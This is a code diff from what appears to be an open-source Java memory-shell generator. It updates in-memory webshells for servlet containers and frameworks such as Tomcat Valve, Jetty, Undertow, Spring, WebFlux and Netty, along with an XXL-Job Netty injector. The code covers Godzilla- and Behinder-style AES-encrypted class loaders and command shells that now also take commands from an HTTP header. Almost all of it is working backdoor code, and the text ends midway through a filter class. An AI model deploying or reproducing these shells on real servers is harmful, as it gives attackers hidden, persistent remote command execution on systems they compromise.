@SuppressWarnings("all") @SuppressWarnings("all")
@@ -168,4 +203,19 @@ public class WebSphereServletInjector {
method.setAccessible(true); method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param); return method.invoke(obj instanceof Class ? null : obj, param);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -12,6 +12,7 @@ import io.netty.handler.timeout.IdleStateHandler;
import java.io.ByteArrayInputStream; import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.lang.reflect.Method; import java.lang.reflect.Method;
import java.util.HashSet; import java.util.HashSet;
@@ -26,6 +27,8 @@ import java.util.zip.GZIPInputStream;
* @since 2025/1/21 * @since 2025/1/21
*/ */
public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> { public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel> {
private String msg = "";
public String getClassName() { public String getClassName() {
return "{{className}}"; return "{{className}}";
} }
@@ -36,14 +39,20 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
public XxlJobNettyHandlerInjector() { public XxlJobNettyHandlerInjector() {
try { try {
handlerClass = getShellClass();
inject(); inject();
} catch (Exception e) { msg += "[/*] ready\n";
e.printStackTrace(); } catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
} }
System.out.println(msg);
} }
private Class<?> handlerClass; @Override
public String toString() {
return msg;
}
private static Class<?> handlerClass;
@Override @Override
protected void initChannel(SocketChannel channel) throws Exception { protected void initChannel(SocketChannel channel) throws Exception {
@@ -65,8 +74,8 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
}))); })));
} }
private Class<?> getShellClass() throws Exception { private Class<?> getShellClass(Object context) throws Exception {
ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); ClassLoader classLoader = context.getClass().getClassLoader();
try { try {
return classLoader.loadClass(getClassName()); return classLoader.loadClass(getClassName());
} catch (Exception e) { } catch (Exception e) {
@@ -90,9 +99,9 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
Object keys = set.toArray()[0]; Object keys = set.toArray()[0];
Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline"); Object pipeline = getFieldValue(getFieldValue(keys, "attachment"), "pipeline");
Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler"); Object embedHttpServerHandler = getFieldValue(getFieldValue(getFieldValue(pipeline, "head"), "next"), "handler");
handlerClass = getShellClass(embedHttpServerHandler);
setFieldValue(embedHttpServerHandler, "childHandler", this); setFieldValue(embedHttpServerHandler, "childHandler", this);
System.out.println("xxl-job NettyHandler inject successful"); return;
break;
} }
} }
} catch (Exception ignored) { } catch (Exception ignored) {
@@ -160,4 +169,19 @@ public class XxlJobNettyHandlerInjector extends ChannelInitializer<SocketChannel
final Field field = getField(obj.getClass(), fieldName); final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value); field.set(obj, value);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -71,6 +71,6 @@ public class AntSword extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -85,7 +85,7 @@ public class Behinder extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -70,7 +70,7 @@ public class BehinderControllerHandler extends ClassLoader implements Controller
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -76,7 +76,7 @@ public class BehinderFilter extends ClassLoader implements Filter {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -73,7 +73,7 @@ public class BehinderInterceptor extends ClassLoader implements AsyncHandlerInte
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -94,7 +94,7 @@ public class BehinderJettyHandler extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -77,7 +77,7 @@ public class BehinderListener extends ClassLoader implements ServletRequestListe
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -73,7 +73,7 @@ public class BehinderServlet extends ClassLoader implements Servlet {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -79,7 +79,7 @@ public class BehinderUndertowServletHandler extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -75,7 +75,7 @@ public class BehinderValve extends ClassLoader implements Valve {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
@SuppressWarnings("all") @SuppressWarnings("all")
@@ -3,6 +3,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
import java.io.InputStream; import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.lang.reflect.Field; import java.lang.reflect.Field;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -17,15 +18,15 @@ public class Command {
Object request = unwrap(args[0], "request"); Object request = unwrap(args[0], "request");
Object response = unwrap(args[1], "response"); Object response = unwrap(args[1], "response");
try { try {
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -63,6 +64,6 @@ public class Command {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
} }
} }
@@ -17,8 +17,12 @@ public class CommandControllerHandler implements Controller {
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try { try {
String param = getParam(request.getParameter(paramName)); String p = request.getParameter(paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
@@ -18,8 +18,12 @@ public class CommandFilter implements Filter {
HttpServletRequest servletRequest = (HttpServletRequest) request; HttpServletRequest servletRequest = (HttpServletRequest) request;
HttpServletResponse servletResponse = (HttpServletResponse) response; HttpServletResponse servletResponse = (HttpServletResponse) response;
try { try {
String param = getParam(servletRequest.getParameter(paramName)); String p = servletRequest.getParameter(paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = servletRequest.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream(); ServletOutputStream outputStream = servletResponse.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
@@ -5,10 +5,9 @@ import org.springframework.web.reactive.function.server.ServerRequest;
import org.springframework.web.reactive.function.server.ServerResponse; import org.springframework.web.reactive.function.server.ServerResponse;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.util.Optional; import java.util.Optional;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -19,25 +18,25 @@ public class CommandHandlerFunction implements HandlerFunction<ServerResponse> {
@Override @Override
public Mono<ServerResponse> handle(ServerRequest request) { public Mono<ServerResponse> handle(ServerRequest request) {
String p = null;
Optional<String> paramOptional = request.queryParam(paramName); Optional<String> paramOptional = request.queryParam(paramName);
if (!paramOptional.isPresent()) { if (paramOptional.isPresent()) {
return Mono.empty(); p = paramOptional.get();
} }
StringBuilder result = new StringBuilder(); if (p == null || p.isEmpty()) {
p = request.headers().firstHeader(paramName);
}
String result = "";
try { try {
String param = getParam(paramOptional.get()); if (p != null) {
InputStream inputStream = getInputStream(param); String param = getParam(p);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { InputStream inputStream = getInputStream(param);
String line; result = new Scanner(inputStream).useDelimiter("\\A").next();
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
return ServerResponse.ok().body(Mono.just(result.toString()), String.class); return ServerResponse.ok().body(Mono.just(result), String.class);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -3,9 +3,8 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.http.ResponseEntity; import org.springframework.http.ResponseEntity;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import java.io.BufferedReader;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader; import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -15,23 +14,21 @@ public class CommandHandlerMethod {
public static String paramName; public static String paramName;
public ResponseEntity<?> invoke(ServerWebExchange exchange) { public ResponseEntity<?> invoke(ServerWebExchange exchange) {
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); String p = exchange.getRequest().getQueryParams().getFirst(paramName);
StringBuilder result = new StringBuilder(); if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
String result = "";
try { try {
if (param != null) { if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { result = new Scanner(inputStream).useDelimiter("\\A").next();
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} }
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
return ResponseEntity.ok(result.toString()); return ResponseEntity.ok(result);
} }
private String getParam(String param) { private String getParam(String param) {
@@ -3,10 +3,10 @@ package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.web.servlet.AsyncHandlerInterceptor; import org.springframework.web.servlet.AsyncHandlerInterceptor;
import org.springframework.web.servlet.ModelAndView; import org.springframework.web.servlet.ModelAndView;
import javax.servlet.ServletOutputStream;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -18,15 +18,14 @@ public class CommandInterceptor implements AsyncHandlerInterceptor {
@Override @Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
try { try {
String param = getParam(request.getParameter(paramName)); String p = request.getParameter(paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
byte[] buf = new byte[8192];
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return false; return false;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -33,8 +33,12 @@ public class CommandJettyHandler {
response = args[1]; response = args[1];
} }
try { try {
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
@@ -17,8 +17,12 @@ public class CommandListener implements ServletRequestListener {
public void requestInitialized(ServletRequestEvent servletRequestEvent) { public void requestInitialized(ServletRequestEvent servletRequestEvent) {
HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest();
try { try {
String param = getParam(request.getParameter(paramName)); String p = request.getParameter(paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request); HttpServletResponse servletResponse = (HttpServletResponse) getResponseFromRequest(request);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = servletResponse.getOutputStream(); ServletOutputStream outputStream = servletResponse.getOutputStream();
@@ -7,11 +7,10 @@ import io.netty.channel.ChannelHandler;
import io.netty.channel.ChannelHandlerContext; import io.netty.channel.ChannelHandlerContext;
import io.netty.handler.codec.http.*; import io.netty.handler.codec.http.*;
import java.io.BufferedReader;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.net.URI; import java.net.URI;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -26,28 +25,26 @@ public class CommandNettyHandler extends ChannelDuplexHandler {
if (msg instanceof HttpRequest) { if (msg instanceof HttpRequest) {
HttpRequest request = (HttpRequest) msg; HttpRequest request = (HttpRequest) msg;
HttpHeaders headers = request.headers(); HttpHeaders headers = request.headers();
String param = getParam(getParamFromUrl(request.uri(), paramName)); String p = getParamFromUrl(request.uri(), paramName);
if (param == null) { if (p == null || p.isEmpty()) {
p = headers.get(paramName);
}
if (p == null) {
ctx.fireChannelRead(msg); ctx.fireChannelRead(msg);
return; return;
} }
StringBuilder result = new StringBuilder(); String result = "";
try { try {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { result = new Scanner(inputStream).useDelimiter("\\A").next();
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
send(ctx, result.toString()); send(ctx, result.toString());
} else { return;
ctx.fireChannelRead(msg);
} }
ctx.fireChannelRead(msg);
} }
private void send(ChannelHandlerContext ctx, String context) throws Exception { private void send(ChannelHandlerContext ctx, String context) throws Exception {
@@ -22,9 +22,13 @@ public class CommandServlet extends HttpServlet {
@Override @Override
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
String param = getParam(request.getParameter(paramName));
try { try {
if (param != null) { String p = request.getParameter(paramName);
if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
ServletOutputStream outputStream = response.getOutputStream(); ServletOutputStream outputStream = response.getOutputStream();
byte[] buf = new byte[8192]; byte[] buf = new byte[8192];
@@ -2,6 +2,7 @@ package com.reajason.javaweb.memshell.shelltool.command;
import java.io.InputStream; import java.io.InputStream;
import java.io.OutputStream; import java.io.OutputStream;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
@@ -22,15 +23,15 @@ public class CommandUndertowServletHandler {
} }
Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext); Object request = servletRequestContext.getClass().getMethod("getServletRequest").invoke(servletRequestContext);
Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext); Object response = servletRequestContext.getClass().getMethod("getServletResponse").invoke(servletRequestContext);
String param = getParam((String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName)); String p = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response); OutputStream outputStream = (OutputStream) response.getClass().getMethod("getOutputStream").invoke(response);
byte[] buf = new byte[8192]; outputStream.write(new Scanner(inputStream).useDelimiter("\\A").next().getBytes());
int length;
while ((length = inputStream.read(buf)) != -1) {
outputStream.write(buf, 0, length);
}
return true; return true;
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -5,7 +5,6 @@ import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response; import org.apache.catalina.connector.Response;
import javax.servlet.ServletException; import javax.servlet.ServletException;
import javax.servlet.ServletOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.InputStream; import java.io.InputStream;
import java.util.Scanner; import java.util.Scanner;
@@ -19,8 +18,12 @@ public class CommandValve implements Valve {
@Override @Override
public void invoke(Request request, Response response) throws IOException, ServletException { public void invoke(Request request, Response response) throws IOException, ServletException {
try { try {
String param = getParam(request.getParameter(paramName)); String p = request.getParameter(paramName);
if (param != null) { if (p == null || p.isEmpty()) {
p = request.getHeader(paramName);
}
if (p != null) {
String param = getParam(p);
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next()); response.getWriter().write(new Scanner(inputStream).useDelimiter("\\A").next());
return; return;
@@ -1,48 +1,40 @@
package com.reajason.javaweb.memshell.shelltool.command; package com.reajason.javaweb.memshell.shelltool.command;
import org.springframework.core.io.buffer.DataBuffer;
import org.springframework.core.io.buffer.DefaultDataBufferFactory; import org.springframework.core.io.buffer.DefaultDataBufferFactory;
import org.springframework.web.server.ServerWebExchange; import org.springframework.web.server.ServerWebExchange;
import org.springframework.web.server.WebFilter; import org.springframework.web.server.WebFilter;
import org.springframework.web.server.WebFilterChain; import org.springframework.web.server.WebFilterChain;
import reactor.core.publisher.Mono; import reactor.core.publisher.Mono;
import java.io.BufferedReader;
import java.io.InputStream; import java.io.InputStream;
import java.io.InputStreamReader;
import java.nio.charset.StandardCharsets; import java.nio.charset.StandardCharsets;
import java.util.Scanner;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/25 * @since 2024/12/25
*/ */
public class CommandWebFilter extends ClassLoader implements WebFilter { public class CommandWebFilter implements WebFilter {
public static String paramName; public static String paramName;
@Override @Override
public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) { public Mono<Void> filter(ServerWebExchange exchange, WebFilterChain chain) {
String param = getParam(exchange.getRequest().getQueryParams().getFirst(paramName)); String p = exchange.getRequest().getQueryParams().getFirst(paramName);
if (param == null) { if (p == null || p.isEmpty()) {
p = exchange.getRequest().getHeaders().getFirst(paramName);
}
if (p == null) {
return chain.filter(exchange); return chain.filter(exchange);
} }
return exchange.getResponse().writeWith(getResult(param)); String param = getParam(p);
} String result = "";
private Mono<DataBuffer> getResult(String param) {
StringBuilder result = new StringBuilder();
try { try {
InputStream inputStream = getInputStream(param); InputStream inputStream = getInputStream(param);
try (BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(inputStream))) { result = new Scanner(inputStream).useDelimiter("\\A").next();
String line;
while ((line = bufferedReader.readLine()) != null) {
result.append(line);
result.append(System.lineSeparator());
}
}
} catch (Throwable e) { } catch (Throwable e) {
e.printStackTrace(); e.printStackTrace();
} }
return Mono.just(new DefaultDataBufferFactory().wrap(result.toString().getBytes(StandardCharsets.UTF_8))); return exchange.getResponse().writeWith(Mono.just(new DefaultDataBufferFactory().wrap(result.getBytes(StandardCharsets.UTF_8))));
} }
private String getParam(String param) { private String getParam(String param) {
@@ -1,6 +1,7 @@
package com.reajason.javaweb.memshell.shelltool.godzilla; package com.reajason.javaweb.memshell.shelltool.godzilla;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter; import java.io.PrintWriter;
import java.lang.reflect.Constructor; import java.lang.reflect.Constructor;
import java.lang.reflect.Field; import java.lang.reflect.Field;
@@ -11,11 +12,12 @@ import java.security.Key;
* @author ReaJason * @author ReaJason
*/ */
public class Godzilla extends ClassLoader { public class Godzilla extends ClassLoader {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public Godzilla() { public Godzilla() {
} }
@@ -32,24 +34,27 @@ public class Godzilla extends ClassLoader {
try { try {
String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName);
if (value != null && value.contains(headerValue)) { if (value != null && value.contains(headerValue)) {
String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
byte[] data = base64Decode(parameter); try {
data = this.x(data, false); String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass);
Object session = request.getClass().getMethod("getSession").invoke(request); byte[] data = base64Decode(parameter);
Object cache = session.getClass().getMethod("getAttribute", String.class).invoke(session, key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.getClass().getMethod("setAttribute", String.class, Object.class).invoke(session, key, (new Godzilla(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new Godzilla(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
PrintWriter writer = (PrintWriter) response.getClass().getMethod("getWriter").invoke(response); writer.write(md5.substring(0, 16));
writer.write(md5.substring(0, 16)); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
writer.write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(md5.substring(16));
writer.write(md5.substring(16)); }
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
return true; return true;
} }
@@ -117,6 +122,21 @@ public class Godzilla extends ClassLoader {
clazz = clazz.getSuperclass(); clazz = clazz.getSuperclass();
} }
} }
throw new NoSuchFieldException(); throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
} }
} }
@@ -7,19 +7,21 @@ import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec; import javax.crypto.spec.SecretKeySpec;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/12/22 * @since 2024/12/22
*/ */
public class GodzillaControllerHandler extends ClassLoader implements Controller { public class GodzillaControllerHandler extends ClassLoader implements Controller {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaControllerHandler() { public GodzillaControllerHandler() {
} }
@@ -31,22 +33,26 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception { public ModelAndView handleRequest(HttpServletRequest request, HttpServletResponse response) throws Exception {
try { try {
if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) {
HttpSession session = request.getSession(); PrintWriter writer = response.getWriter();
byte[] data = base64Decode(request.getParameter(pass)); try {
data = this.x(data, false); byte[] data = base64Decode(request.getParameter(pass));
Object cache = session.getAttribute(key); data = this.x(data, false);
if (cache == null) { if (payload == null) {
session.setAttribute(key, (new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader())).defineClass(data, 0, data.length)); payload = new GodzillaControllerHandler(Thread.currentThread().getContextClassLoader()).defineClass(data, 0, data.length);
} else { } else {
ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); ByteArrayOutputStream arrOut = new ByteArrayOutputStream();
Object f = ((Class<?>) cache).newInstance(); Object f = payload.newInstance();
f.equals(arrOut); f.equals(arrOut);
f.equals(request); f.equals(request);
f.equals(data); f.equals(data);
f.toString(); f.toString();
response.getWriter().write(md5.substring(0, 16)); writer.write(md5.substring(0, 16));
response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); writer.write(base64Encode(this.x(arrOut.toByteArray(), true)));
response.getWriter().write(md5.substring(16)); writer.write(md5.substring(16));
}
} catch (Throwable e) {
e.printStackTrace();
writer.write(getErrorMessage(e));
} }
} }
} catch (Throwable e) { } catch (Throwable e) {
@@ -83,4 +89,19 @@ public class GodzillaControllerHandler extends ClassLoader implements Controller
c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES"));
return c.doFinal(s); return c.doFinal(s);
} }
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
} }
@@ -5,19 +5,21 @@ import javax.crypto.spec.SecretKeySpec;
import javax.servlet.*; import javax.servlet.*;
import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse; import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;
import java.io.ByteArrayOutputStream; import java.io.ByteArrayOutputStream;
import java.io.IOException; import java.io.IOException;
import java.io.PrintStream;
import java.io.PrintWriter;
/** /**
* @author ReaJason * @author ReaJason
*/ */
public class GodzillaFilter extends ClassLoader implements Filter { public class GodzillaFilter extends ClassLoader implements Filter {
public static String key; private static String key;
public static String pass; private static String pass;
public static String md5; private static String md5;
public static String headerName; private static String headerName;
public static String headerValue; private static String headerValue;
private static Class<?> payload;
public GodzillaFilter() { public GodzillaFilter() {
} }
@@ -33,22 +35,26 @@ public class GodzillaFilter extends ClassLoader implements Filter {
HttpServletResponse response = (HttpServletResponse) servletResponse; HttpServletResponse response = (HttpServletResponse) servletResponse;
try { try {
